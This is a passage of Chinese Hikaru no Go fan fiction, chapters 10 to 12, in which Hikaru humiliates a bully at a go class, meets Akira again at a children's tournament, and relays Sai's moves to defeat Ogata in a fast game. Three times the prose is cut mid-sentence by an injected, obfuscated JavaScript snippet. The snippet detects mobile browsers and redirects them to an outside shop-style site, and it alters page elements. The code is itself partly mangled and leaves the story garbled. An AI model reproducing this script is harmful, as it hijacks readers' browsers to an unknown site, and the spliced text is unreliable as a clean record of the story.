光还记得当时佐为气坏了,建议用围棋把他教训回去,用失败的屈辱告诉他什么叫真正的对弈,可调皮的光顺手抓起棋盒就直接“不小心”倒扣在那人头上,当众揭露了他秃头的秘密。为此白川哭笑不得地将光驱逐出了教室,场面一度很社会性死亡——对双方都是。 想到这里,光心生一计。他走到对局的那两人旁边,假装好奇地探出身子。 “阿古田叔叔,你的棋下得真好!” 原本猖狂催促着对手的秃头大叔听了这句恭维,眼中喜色毕露,右手也毫不客气地搭在座椅靠背上。 “啊?那当然了,小子,我可是这间教室里最强的人——除了白川老师之外。围棋这门学问呐,讲究的就是刻苦钻研,要仔细感受,才能明白这股深奥,这番话对你来说还是太难懂了吧哈哈哈哈。” 客套两句而已,这人怎么还装上了。 光尴尬得快要脚趾扣地,却还是面不改色地继续吹捧:“哇哦,好厉害,完全占据了上风呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211741|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这你也能看出来?看来你也有点天赋嘛,真难得,毕竟我出众的围棋才华可不是谁都能了解的,比如眼前这个人。”秃头大叔一边自吹自擂,还一边不忘奚落面前的对手,“怎么了,快落子啊,你到底还想让我等多久?” 对面的浅黄色西服男子满头大汗,满脸不安地擦了擦眉角。他本来就学棋没多久,布局时还好好的,可不知不觉每一块棋都被快对方给吃完了,愣是反击的余地都没有。 煎熬了半天,他终于还是打算放弃了。 “我……我……输——” 光一把拉住他的肩膀,使出暗劲阻止他当场认输,并迅速补上一句:“我看这个叔叔肯定是累了,不如换我和你继续下吧。” “小光!”一旁的藤崎明似乎有种不妙的预感。不要招惹这种一看就很凶的人啊! “……你?”秃头大叔用狐疑的神色打量了他一眼,随后大笑出声,“哈哈哈!小朋友,不是我打击你,这盘棋下到这份上,已经谁都没法救回来了,让你接着下不就是在欺负一个小学生嘛。” 欺负小学生不行,欺负其他学棋的同龄大叔倒是很起劲? “小光!让我来!”正义的伙伴佐为大将军早已忍无可忍,高举制裁的右手,“他下的没有一步是正确的,恃强凌弱的围棋,我是不会原谅的!” “我明白。我就是这个打算。”光满口答应,他当然预料到佐为会有这个反应。 他转头压低上半身附到黄西装男子耳边,轻声道:“给我五分钟。” “诶?你……”那男子莫名其妙地瞪着他,一时不知自己听到的那句话是不是错觉,“你真的要……” 光安抚般拍拍他的肩,气定神闲,胸有成竹。这小大人般老气横秋的动作让男子惊讶之余感到有些好奇,他不知这个小学生是何方神圣,总之先按光说的,把位置让了出来。 光马上大摇大摆地坐了上去。由于个头太矮,他还要努力抬头才能适应这个座位的高度。 秃头大叔见到他俩交换座位,似乎想说点什么,却被光机关炮一样突突突的话语堵上了嘴:“我说阿古田叔叔,你就让我试试嘛,我才刚开始学围棋,都没机会领教高手的风采,这不现在高手就在眼前,哪怕只是多看两眼也算赚到啦!” “小光,你可真会说。”佐为在一旁不知该落井下石还是同情这个倒霉蛋,“他完全被你捧上天了……” 何止,这人简直连嘴角都快飞去银河系了。秃头大叔美滋滋地笑了两声,心里的疑窦也瞬间消失一空,“哎呀呀,难得你都说到这份上,不让你见识见识我飘逸凛然的棋风也说不过去了。” 要是他早知道光会说出后面的那番话,估计就笑不出来了吧。 “——不过,万一我运气好反败为胜了……大叔你就要跟刚才的叔叔道歉,再给这个教室采购一套全新的棋具喔!” 光的语气十分纯真,好像真的只是在和人开玩笑。 他进藤光打了那么多年大手合,早就熟练地掌握了给人施压的心理战术,偏偏此刻自己外表还是小孩,怎么显得好胜都不奇怪。 听到荷包要大出血,秃头大叔显而易见地动摇了一瞬。 但也只是短短的一瞬。 “那要是你输了?” “如果我输了,我就当着所有人的面恭恭敬敬叫你一声‘师父’,怎么样?”光笑嘻嘻地说。 ●○●○ 11. Chapter 10. 儿童大赛再遇塔矢 阿古田闻言拳头都硬了。 ——好大的口气!我怎么可能输给你这种初学者,刚刚你不是还在旁边学吃子吗?!现在的小朋友果然还是赌性太强,让你输两把就明白了! 秃头大叔的心理活动也在光的预判之内。像这种喜欢在棋盘上欺负人的家伙,大抵都极爱面子又不服输,稍微激将几句,就会乖乖上钩。 果不其然。秃头大叔整理了一下衣领,清了清嗓子,装模作样地说:“耐心接受后辈的请求也是下棋的人很重要的美德,要对我心怀感激啊,小子。我就答应你的挑战了。来吧,下一步你要走哪?” 光面带微笑。 佐为也面带微笑。 五分钟后。 秃头大叔呼吸不畅地猛然站起身,撞倒了身后的折叠椅,这个人失去平衡向后摔去,摔了个严严实实,假发直接掉落在地,旁边桌子上的棋子也被撞得满地都是,哗啦啦的声响让整个教室的目光都转向了这里。一瞬间空气窒息得可怕。 社!死!地!狱! “他……他……他……”那人面上写满了恐怖和尴尬,恨不得挖地逃走的同时,又因为不敢相信刚才发生的一切而印堂发黑,“啊啊啊啊啊——!!” 旁边的大婶连忙凑过来看热闹。 “发生什么事了?” “刚刚那个落荒而逃的人是阿古田先生吗?”毫不知情的围观群众纳闷地捡起地上的假发。 “真的……只用了五分钟……”黄西装大叔比围观群众更惊愕,他完全呆坐在座位上,站都站不起来,“不,刨除对面思考的时间,他甚至每手只花了不到十秒……” “真是见鬼了!见鬼了!!” 阿古田嘴上念念叨叨着什么,颤抖的声音渐渐远去,消失在门外。 “白川老师!白川老师!”第一个恢复理智的大婶率先招手叫来白川,生怕他晚来一步案发现场就被人摧毁了,“您来看看这局棋!” 听到一声惊天巨响的白川还不知此地发生了何事,走来一看,好家伙,混乱如麻的盘面,总体是一边倒的形势,却看不出来是怎么下到这一步的,只能看出前后执黑的根本不是一个人。他记得,上一轮他路过这里的时候,还是白子绝对占优才对…… 不过,阿古田这家伙也算是围棋教室的惯犯,总逮住新人往死里欺负,他委婉劝阻过好几次,对方却死性不改,站在做生意的立场上白川又没法禁止他出入教室。今天可好,居然有人能代替他教育教育这个围棋强盗了。 可到底是谁这么厉害,能把那个阿古田都逼得惊魂不定? “这是刚刚那孩子下出来的吗?”白川试图寻找这个棋力超凡的围棋天才,环顾一圈,终于瞄到了蹑手蹑脚挪到教室后门口的进藤光,“——进藤同学?等一下!” 白川一出声,我们的小光后背都一抖。 呜哇,没想到这辈子他还是要因为同一个原因逃离围棋教室。 说时迟那时快,光以离弦之箭的速度将自己发射出楼道,迅速遁走,连飘在他身后的佐为都感到了幽灵难以企及的神奇移速,当然藤崎明也是望尘莫及。直到逃去了足够远的大街上,佐为才来得及追问他的异常:“我们为什么要逃跑啊,小光?” “为什么?那当然是因为……” 是啊,为什么。 光冷静下来一想,这辈子他要走的就是12岁入职业、13岁打进头衔战、14岁走向国际的速战速决路线,早晚会进入公众视野成为围棋爱好者的谈资,在这里怕一个白川二段揭发马甲做什么?SAI都还没出现,谁也不认识进藤光,好像他压根没有逃跑的必要嘛。 “……呃,可能只是单纯觉得解释起来很麻烦吧。”光挠了挠头。 围棋教室里,白川还在惊诧于那个平平无奇的小孩完全不平平无奇的棋力。 按理说,能来这个班的人,都是业余2段以下的水平,陪他一起来的小女孩看着也是第一次拿棋子,起初见到他们,白川还以为这只是同班同学相约来打发时间,下意识地认为男孩的水平不会太高。 但这局棋…… 真遗憾,全班没有一个学员有能力把对局完整复盘出来,所以他无法把话说太满;但他还是可以确定,能把必死之局逆转到这地步的,绝非泛泛之辈。 这么一想,白川猛然记起了早些时候听到的传闻。森下九段的门生一直将塔矢行洋一门视为劲敌,他也与同龄的芦原弘幸三段有些交情,昨晚他们下棋时,芦原突然说“上周有个孩子中盘赢了亮君”,他还吃惊了好一阵。 东京就这么大,附近下围棋的孩子能有多少,更何况是水平可以碾压塔矢亮的孩子? 那孩子难道指的就是……进藤?! 过于激动的心情令他的手指都拿不稳手机了,但他还是火急火燎拨通了电话簿里的号码,在“滴”声后迫不及待地来了句:“喂?芦原君,我好像找到他了!!” 此时的光完全不知道,在意他的人又多了一个。他领着嗷嗷叫想下棋的佐为去了儿童围棋大赛现场,毕竟一直闷在家里两个人对弈多少有些单调,天气这么好,不出来走走多可惜。就算只是看小朋友们下棋,以佐为这家伙的性子,也会感到很高兴吧。 光的预测完全准确。佐为沉浸在所有人都认真对弈的气氛里,如沐春风,闭上眼倾听落子的声音,此起彼伏,一声接一声,仿佛置身梦之国度。 “呼……这里真是个好地方,简直是天堂,小光。” “对他们来说指不定是围棋地狱呢,要熬过十八重酷刑的那种。”光打趣道。 言出法随,有一桌旁的小孩忽然冒出了抽抽搭搭的哭声,一定输得很惨吧,光的目光柔和了些,这种在正式大赛上竭尽全力却还是被对手击败的心情,他实在太了解了。希望他不要一蹶不振才好。 光不自觉走到那孩子旁边,想给对方一些安慰。 “真可惜,刚才你要是再往下一点,还有机会反转的。”既然棋局已经结束了,他这样插嘴应该也不算违规,“这是一盘好棋,你下得很好。” “诶?” “你看,要是走这里,再这样,就可以做活这片棋的同时,压制住对方的势力范围了。” 光伸手指出了几个关键点位,佐为在一旁连连点头,顺便还下了几句自己的见解和表扬,光也一并转达给了呆坐在对弈席前的小孩。光的语气很轻很柔软,应该不至于让对方误以为是在批评,相反,这是一种鼓励,能把棋下到即将成功的地步,也就印证了这孩子多少有些棋感。 吸鼻子的声音渐渐消失了,那孩子盯着棋盘,似乎还在消化光教给他的反败为胜的妙招。以小孩子的智力,可能理解起来需要一些时间吧。 没想到,那家伙忽然暴跳如雷。 “那、那又怎么样?!我输了棋你奚落我很开心是吧?!少了一个对手,就让你更容易拿到冠军了!你以为只有你一个人能想出刚才的这一步吗?!” “啊?”光不理解,这人怎么一点就炸,“我还以为你听懂了……难道就是因为听懂了,才这么生气?” “呜哇——” 小孩哥的心思真难猜啊!他一定是猛然发现刚刚那步巧妙的逆转有多重要,悔恨和不甘心延迟了几秒冲上头脑,才导致怨气全部发泄在指出那一步的进藤光身上。 也是,就差一点点,谁都会难过吧。这种时候外人指出正确的下法,任谁听起来都会像是嘲讽。 那愤怒的吼叫响亮地穿透了整个空间,光顿时冒出“搞砸了”的叹息。 “抱歉抱歉,你先冷静一下吧。就当我什么都没说。哎呀,你别哭鼻子嘛……” 光这样劝阻着,准备转身溜走,却忽然被一双成年人的手牢牢按住了肩膀。 “喂,你在做什么。” 是个凶神恶煞的厚款眼镜大叔。 光连忙摇头解释:“不好意思,我只是在和他讨论棋局……” “你这样会影响到其他人对局的,你是参赛者吗,赢了棋就快点去前面报告!” 眼镜大叔看他指出棋盘上的漏洞这么果断,想当然地认为他也是参赛者的一员。毕竟,儿童围棋大赛就是为了决出孩子里的围棋顶尖者、补充院生预备役而创立的,所以现场才会有这么多职业棋士出席。 “不、我没参加比赛,我只是来围观的而已啦!”光试图挣脱他的手,可小孩的力气很难拗得过大人,一时之间,两人僵持在了原地。有人注意到此处的纠纷,慢条斯理地走了过来。 “怎么了。” “这孩子刚刚……” “绪方老师!帮帮我!”光下意识地叫出了面前那人的名字。 这身优雅笔挺的白西装,从头到脚服服帖帖地穿在身上,戴一只高级名表,领带夹是奢侈大牌的最新商品,眼镜也是私人定制的细边金属款,发型应该每周都去美容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211742|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院打理过,精致而整齐,再加上那双不怒自威的细长眼睛,不是大名鼎鼎的绪方九段,还能是谁? 无论如何,光对自己曾在职业棋坛屡次败给绪方的黑历史都念念不忘。所以他一时惊讶就条件反射地喊了出来。 绪方何等惊人的第六感,一下就敏锐地皱起了眉。 “嗯?” “啊不是……我真的只是来看比赛的,真不是参赛者,对不起打扰了!我这就走!” 光捂嘴的动作慢了一点,导致不得不把话题拉长减少嫌疑。 越遮掩越可疑,绪方用眼神暗示工作人员先别撒手,顺便看了一眼棋盘,和刚才发怒的孩子聊了两句棋局的细节。确实是手不错的棋,可这小子反复强调自己不是来参赛的,多少有些可惜啊。这么好的苗子,应该早点拉进院生才对。 不过问题在于,他为什么这么着急想要逃走? “你到底是什么人?”绪方情不自禁地问。 “……进藤光!!” 就在这时,第三个声音加入了对峙。 是从身后传来的,异常清亮、焦急的呼唤。对方毫不犹豫地叫出了光的全名。 来者正是从围棋会所千里迢迢抢门也要上电车赶来大赛现场的塔矢亮。他跑得太着急,呼吸已然十分不稳,那利落的墨绿色短发也因汗水凝结在一起,要知道现在可是1月的早上! 仿佛稳住情绪一般,塔矢亮单手推开挡路的椅子,直勾勾朝着进藤光走来。 这下完蛋了。怎么偏偏是他?!细密的汗珠旋即爬上光的额头。 全世界的巧合仿佛都在同一个时间、同一个地点,降临在了进藤光同一个人身上。进藤光如临大敌般低下头,看到塔矢亮手里紧握的、已经变形的大赛宣传单,原来如此,因为他上回告辞围棋会所的时候顺手拿了儿童围棋大赛的广告页,塔矢亮那个跟踪狂才会一路畅通无阻地追过来!! “哟,塔矢,你也来看比赛啊?”放弃挣扎的进藤光只能露出尴尬的微笑,指了指身后,“都快结束啦,你得早点……” “——我是为了找你才来的。”塔矢亮不由分说地打断了他。 这气势,让内心年龄24岁的光都忍不住吞了口唾沫。 “我?” “你。” “你们是熟人?”绪方精次打量了他俩一下,立刻猜出了答案,嘴角也带了几分好奇几分看戏几分漫不经心,“……哦?没想到上周下赢小亮的小学生,就是你啊。” “芦原先生说你去了围棋教室,又很着急地离开了,我就想,说不定会在这里遇到你。”气喘吁吁的亮还在调整呼吸,导致每说几个字都要慢下来等待片刻,但他眼中的急切骗不了人,“终于……找到你了。” 怎么全世界的人都知道了?! 消息传得可真够快的。也是,塔矢亮中盘输给小学生这么破天荒的大新闻,围棋会所里的人肯定都往外说了,这间会所本就是塔矢行洋开的,塔矢门下的芦原听说这事不奇怪,而芦原又和围棋教室的白川关系不错……结果就一传十十传百了。 可想而知,那晚的对弈究竟给亮留下了多大心理阴影。 佐为都忍不住感叹:“塔矢已经牢牢记住你的名字了呢。” 光翻了个白眼:“我不是说过了吗,他就是个跟踪狂!” “和我再下一局吧,进藤。” 亮用洪亮有力的嗓音大声宣布。 亮的脑海中已经容不下其他念想,他那晚之后每时每刻不在想那盘棋,由于过于震惊,他从未把棋局的内容告诉过任何人,包括绪方,克服那种恐惧和自我怀疑并不简单,他花了好几天,都没能完全从落败中走出来,只是一次次构思着反击的策略,想方设法应对那时的遗憾。 直到芦原先生说有朋友找到了进藤,亮才猛地冒出那个想法——只有再对弈一次,才能确认这些策略是否可能生效。 于是他马不停蹄地冲来了大赛现场。 “这里说话不方便,你们跟我来。” 看好戏的绪方了然地眯起双眼,他低声对工作人员说了两句,随后在一众路人窃窃私语的注视下,带着光亮两人来到隔壁的休息室,关上了门。 这里不会给正在对局中的参赛选手们造成干扰,而且也正好有棋盘。亮一看到棋盘,就像饥饿的鬣狗一样扑上去拉开了椅子。 他已经蓄势待发了。 ●○●○ 12. Chapter 11. 佐为vs绪方精次 与上次不同,光很清楚亮来找自己的目的。他都这么急不可待地坐在棋盘前了,还能有什么别的理由? “塔矢,你想出对付我的妙招了吗?”光的语气格外冷静,像是故意挑起亮的胜负欲。 “我不确定,但……”亮无视了绪方倒给他的茶水,自己抿嘴润了润喉咙,紧接着说,“我必须这么做。如果不再确认一次你的实力,我以后不管和谁下棋都会想起上周的那局,永远走不出去,就像一座没有尽头的高墙。” “……” 这么严重?就连一直处于旁观心理的绪方,也忍不住对这个进藤光产生了兴趣。 能击败小亮的孩子,即使是小亮开局时刻意让他占优,也肯定不是一般人;而能让那个优秀到目中无人的小亮刻骨铭心的,就更是前所未见。 难道东京真的还存在第二个,像亮一样随时能迈进职业世界大门的小孩? “好啦我知道了,我跟你下。不过不是现在。”光叹了口气,有点拿他没办法地提醒道,“你没注意到吗,你的手掌在流血。” “什么?” 亮愕然垂眸,才发现正如光所说,那里已经破皮了。由于冲得太急,他不小心从地铁站的楼梯上滑了一跤,用手撑了一下地面,造成了擦伤,但刚才他只顾着快点赶过来,丝毫都没在意。被光这么一说,才想起这伤口有那么一点刀划般的疼痛。 但是,光努力回想着,上辈子塔矢亮急匆匆来找自己的时候,好像没受伤吧?是这辈子更急切吗? “看上去有点严重呢。”佐为心疼得眉头都拧到一起了。 为了验证自己的猜测,光走上前去,毫无距离感地一把抬起亮的手腕,这场景就如上辈子亮检查他的手指有无下棋的茧痕的时候,只不过这回换成了光检查亮的伤势。 果然出血了,伤口还不浅。 “总之你先去做应急处理,等你包扎好了,我再跟你下。”亮试图挣脱,但光严肃地反手握住他的手,勒令他乖乖就范,“不管的话有可能破伤风,这可不是开玩笑的。” 亮坚定地摇摇头,已决意对此熟视无睹:“没关系,这点小伤……” “进藤说得对,会场有医务室,虽然本意是为比赛过度兴奋晕倒的小孩准备的,但应该也有应急药物,让那边的医生替你简单处理一下吧。最起码也要消毒。”绪方态度强硬地将他从座位上拽了起来,就像老鹰提溜一只小鸡仔,“万一让你在手上留了疤,师母也要啰嗦我好几天。” “可……” “进藤由我帮你看着,他跑不了。” 这又是什么霸道总裁一样的台词。光一边在内心吐槽了绪方八百遍,但嘴上还是附和了几句,看着亮被工作人员极不情愿地带走,一时又觉得这样的场景有点好笑。 ——放心吧,塔矢,这我次不会逃的。 他充满斗志的眼神在绪方看来格外有趣。 还是第一次吧,同龄人里出现如此吸引小亮的孩子。绪方常年在塔矢家参加研讨会所以很清楚,亮没有年纪相仿的朋友,和他年龄差距最小的身边人也不过是19岁的芦原,即使是他们俩,也很少聊到围棋之外的话题。这也是无可奈何的,亮的棋力实在超前太多了,正常小孩跟他压根聊不到一起去。 不过外表冷淡的绪方怎么也没想到,自己的兴趣会被对面的孩子抢先一步点破。 “闲着也是闲着,在塔矢包扎好之前,我们先来一局快棋怎么样,绪方老师?” 光已经自说自话地打开了棋盒。 佐为立刻大喜过望:“小光!我要下我要下!” “知道知道,佐为你别急。”光闪开他的抱头攻击,心里止不住笑意,“这个绪方九段是职业棋手里相当有实力的高手,和他对弈的话,你应该能更快找到神之一手的方向吧。我可是想方设法制造了你们对局的机会哦,你要好好珍惜啊!” “嗯嗯嗯!” 看到这家伙准备大干一场的态势,绪方从鼻子里发出一声若有所思的思忖,他顺手点燃一根香烟,火苗照亮眼镜架、在鼻梁上勾勒出更显城府的曲线。 “……哦?想和我下指导棋吗。平时这种场合都是要收费的,看在小亮对你如此在意的份上,我倒是可以免费和你下一局。” 明明面前就是小学生,他应该避免当众吸烟才对。看来是真的一点也没把光当外人。 绪方的目光像安检X光机一样扫描着进藤光的浑身上下、左左右右,似乎在判断这个小学生的真实水平。 “绪方老师和塔矢平时也下指导棋吗?”光却很平静地接受了他的检阅。 ——心理抗压能力很强。 “小亮是特别的。我们偶尔也下分先棋,但他从来没在分先里赢过我。” “那我也和您下分先棋吧。” ——脸皮也很厚。 绪方面上看不出真实想法,只用沉默回答了光“大逆不道”的建议。 和职业九段提分先,自己还是个连职业都没考上的小屁孩,谁看了都该觉得这人疯了。 但光的想法非常单纯,他只是好奇而已。进化前的佐为可以险胜七段实力的进藤光,那么初学现代定式的佐为面对九段的绪方精次,是否还能轻松取胜?光不知为何就是很在意这件事。 从前是亮追赶佐为,光追赶亮;如今是光追赶佐为,亮追赶光。他该如何摆正自己的位置,也与佐为的成长速度紧密相关。 不好意思了,绪方老师,得借你测试一下佐为的强度。光在内心发表了这则工具人宣言。 “看来我的实力被充分小瞧了啊。”就在光以为绪方打算将他冷嘲热讽一顿的时候,绪方抓起棋罐里的两颗棋子,放在盘面上,“我可不会手软。” 这是在猜先吧? 他居然同意了! “每手限10秒的快棋。速战速决。”光被绪方这股高高在上的态度挑起了兴致,不自觉也采用了面对成年人的攻防气势,表现出的谈吐完全不像个12岁的孩童,他“啪嗒”松开手,七颗棋子稳稳掉落在棋盘上,“我想尽量在塔矢回来之前搞定。” 绪方从鼻子里发出一声轻笑。这小子是断定双方必有一人会半途认输才会这么说。 毫无疑问,输的肯定会是他进藤光。 “你执黑。贴目五目半,开始吧。”绪方掐灭了这根短暂的烟。 “请多指教。” “请多指教。” 休息室只有一扇小小的竖窗,阳光很难透过百叶窗照进来,加上今日晴转多云,此刻已是山雨欲来之势,乌云密布的东京街头飘荡着极度昏沉的低气压,凝结成双方之间一触即燃的火花。 佐为也深吸一口气,表示准备完毕。 他把自身的面庞挡在洁白的折扇后侧,用那双锐利的眼睛观察着这回的对手。 绪方精次给人的感觉就像城府颇深的高级间谍,不受情绪影响,任何人想通过心理战使之动摇都绝无可能,无情亦无心。面对这样的对手,理论上应当稳扎稳打,每一步处处留神,做足考虑再落子才对。 但小光想在塔矢亮回来之前结束战斗,那自己就只能凭借纯粹的棋感获胜了。 这位初次见面的对手是什么棋风,佐为一无所知。这意味着他每一步都只能见招拆招,很难预判绪方的行动,更难针对绪方的习惯设置陷阱。说实话,这是一场不利的对局。 “你有信心吗,佐为?”光微笑着的神色里却并无不安。 佐为轻轻颔首。 “我随时都在全力以赴。” 不是答案,胜似答案。佐为的“全力以赴”,自然与“必胜”无异。 “第一手,十七之十六,小目。” 佐为一声令下,大战一触即发。 对局开始,光果然践行了他“想在塔矢回来之前搞定”的诺言,右手动得极快,毫不犹豫地下出第一步,小目。 棋子就像被掠过水面的海鸥扔下一般砸落在棋盘上,这过于凌厉的速度让绪方为之一凜。 好气势。 绪方紧随其后,以自己最常用的星位开始了布局。 光也毫不迟疑地砸下第三枚棋子,第五枚棋子,第七枚棋子……说是限时10秒,压根连1秒都没用到。 即使绪方采用猛烈如潮水般的攻势迅速拉他进入激战,他也不迟疑分毫。 他进,他也进。 他挡,他就拆。 他逼得越紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211743|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就反击得越果断。 明明在彼此棋子纠缠最复杂的区域,漏看一步都可能牵连全局,可光在如此快马加鞭的节奏下,还能保持稳定的局势观察力。 绪方的猛攻威吓对他不起作用。 猛攻本是为了吓退对方、使之趋向保守而采取的策略,但佐为的棋感太好了,思考起来几乎不需要时间,导致绪方只能转而将其变为次好的策略——让对手在应接不暇中暴露弱点。 来吧,就算你再怎么优秀,也只是个小孩,在棋盘上杀敌取胜的经验能有多少? 绪方就不信,他能一直不露出破绽。 但佐为这边的想法完全相反。绪方的猛攻反而为他解决了速战速决的难题,通过前十几手的较量,佐为已经初步判断出了这个男人的棋力。很强,对大势的判断格外精准,定式也掌握得非常熟练,虽不知与小光相比谁更胜一筹,但已经足够横扫一百三十六年前的日本棋坛了。 这种人很难自己犯下失误,得靠巧妙的诱导才行。可惜现在没有那个时间。 所以才要靠猛攻!就是猛攻才好!一味的保守在普通棋手面前还称得上“稳扎稳打”,但在绪方面前就不够看了,双方都全力猛攻的话,胜负反倒简单起来,就是比拼谁先找到对方的薄弱区域,瞄准那个“破局点”。 “十一之六!贴!” 佐为的宣战,让光格外热血沸腾。 “冲进去!”他在心中默默为佐为加油,手指则代替他挥动着武器,气贯长虹般单枪匹马冲入百万敌阵,仿佛在叫嚣对方“速速派出主将单挑迎战”。 到了这种地步还能把棋子砸得如此猛烈,绪方脸色有些阴沉。 这小子,不知道“怕”字怎么写吗? 论实战经验和计算能力,是职业九段的他毫无悬念断崖式领先才对! 绪方承认,他一开始确实有些和光玩玩的成分,但下了没两手,自己就开始不自觉散发出平时与其他高段棋手对弈的杀意。那是捕猎者遇到威胁的本能。这一招屡试不爽,他只消稍微改变落子的姿势,都能吓退不少初出茅庐的家伙。 可这个进藤,面对身经百战的职业九段也毫不惊慌。不像那些刚入段的小棋手,一坐在高段者跟前就连棋子都快夹不稳了,光却几乎没有任何不适。绪方见识过许多年轻棋士因气魄不足而止步头衔战循环赛的惨痛教训,那些人大多都是心理上先缴械投降,光肯定也不会例外。 谁能想到年仅12岁的少年能在这种场合不怯不燥? “注意看,小光,他的弱点……马上就会展露在我们眼前。” 佐为温润的声音如今也摇身一变,变得异常杀伐果断。 光点了点头,他不是只在代替佐为下棋,在佐为思考的时候,他亦一时也不曾放弃思考——如果是自己的话,会下在哪个位置。 绝大多数情况下,他都能做出和佐为近似的判断,但佐为偶尔想出的棋步会比自己更惊艳、也更危险,光总是会为这种震惊的时刻而血脉偾张。 就像坐在大将的马背上,近距离看他挥动长矛,闯入布满陷阱的敌军大本营。 那样的教学,比什么都更清晰地展现出佐为统帅全局的思路。 简直是最好的学习。 “就在这里!” “啪——” 棋子落下之后,整个盘面都被那一个点位引燃,变得通透而明亮起来。 恍若一个全新的世界正在打开。 那柄结实迅猛的长矛,已经扎扎实实地刺入了敌军大将的胸口! “佐为的进攻果然老辣!这下绪方先生的棋被冲断已经势在必行……不论以后形成什么结果,这一刻,他都必须这样下!”光感觉自己正握着大将手中的那柄改变两军命运的长矛,进一步将对方的退路斩断,“形势从这时候完全掌握在了佐为手中!” 后续的交手,无论绪方老师怎么引发战火,都不会改变此处已被冲断的事实! 一步掣肘,步步掣肘。 一步犹疑,步步无功。 战,只会输得更惨。 退,亦无济于事。 那道刀刃到了脖子前,哪里还有收回去的道理? ●○●○ 13. Chapter 12. 追逐者的守则 “……哼。”绪方交叉在鼻梁前的手指支撑着他所剩不多的余裕,“是我轻率了啊。” 事已至此,他只能强行突围。但陷入劣势的那几目是追不回来了。 绪方原本以为,冒险是有实力的年轻人具备的特权,在塔矢行洋所有的弟子中,自己是唯一有希望在三年内战胜棋风稳定的老师的人,不是因为他敢冒险,而是因为他敢基于绝对扎实的判断力而冒险。单纯的冒险,只是有勇无谋罢了。 成为职业后手合胜率刷新历史记录、不断对高位者发出挑战的绪方,觉得只有自己有资格担起冒险家的名号。 但如今看来,他自豪的判断力还是比这个对手略逊一筹。 神奇的是,绪方并未产生不安或后悔的心情。他仍然觉得自己的选择十分正确,要下快棋,而且是陪有一定水平的对手下快棋,猛攻是必需的。 他唯一错判的,只有对方的实力意外配得上置之死地而后生的决心而已。 第一次攻击的主动权在绪方手中。 第二次就变成了佐为。 这两次交换手之间发生的一切,才是胜负的要点。 到底是什么时候,神不知鬼不觉地交换了主导权?绪方试图回忆方才发生的一切,但回忆的时间也要计入那稍纵即逝的10秒钟之内。罢了。这种时候再拖泥带水不是他的作风。 “棋形已经被破坏了。”绪方的声音即使到现在,也依旧无比平静,“挖得好。” 佐为握紧折扇的手缓缓放松下去。他明白,绪方的这句话意味着战斗已经结束了。双方都意识到了胜负最终的去向,即使在外人看来,很多地方的交手还不明晰,白棋明明还有很多安定的区域,冲出乱战的话并非毫无希望。但他们都明白,黑棋的胜利是无可改写的事实。 光也慢慢放下了手里的棋子。 “就到这里吗。”他向一脸沉重的绪方确认道。 “嗯。” 绪方打开烟盒,从里面又抽出一支,这个动作彻底为刚刚的对局画下了句点。光这下才彻底把悬着的心放回了肚子里。他忽然觉得有点想吐,不是不舒服,是好久不曾在棋盘上如此高强度地和人比拼极速心算了,脑子消耗过度,又被绪方强大的目光威胁压制着身体,一放松下来,反倒把延迟的应激反应都叫了回来。呜哇,好难受…… 不愧是绪方九段。能如此轻松将绪方斩落马下的人,除了塔矢行洋,估计也只有佐为了吧。 果然自己还差得远呐……这下必须击败的目标又多一个了。 光还在暗自赞叹于绪方的冷静,殊不知,表面上冷静的绪方内心深处早已乱成了一锅粥。 他点燃这根烟就是为了让喷涌而出的无数想法快点踩刹车而已。 快棋输了不丢人。水平差距较大的棋手对弈,因为运气或发挥不稳定而互有胜负,简直再正常不过了。让绪方怀疑人生的是进藤光的年龄。他真的才12岁?看这贫瘠的身高和稚气未脱的脸庞,绪方好像质疑不了这一点。该死,那这股面对同辈棋手才有的紧张感是怎么来的?是自己看走眼了吗?还是见鬼了?! 绪方当然也不知道,进藤光其实心理年龄已经快25岁了。真要说起来,和刚满29的绪方勉强还算没多大代沟。 至于见鬼……还真是绪方猜对了。 上辈子名侦探绪方也是最接近SAI的真相的人。还真不能小看他的直觉。 “真是承让了,绪方老师!”光发自心底地再次表达了对绪方的敬佩,说着说着手也伸到了棋盘上,“下到一半的时候我真不知道会怎样呢,要是我下错任何一步,您早就赢了吧。这局我运气太好了,换成普通对局的话,我绝对会输给您呢。” “喂!” “怎么?” 一边说着话一边趁乱马上打乱棋子是进藤光最擅长的装傻环节。这技巧讲究的就是攻其不备。“哗啦”的棋子对撞声让绪方两眼一瞪,盘面已完全破坏,连细细回顾的机会都没了。 这小子怎么收拾得比下棋还快!这是怕他翻脸不认账,还是想破坏现场? 光笑得纯真无邪。 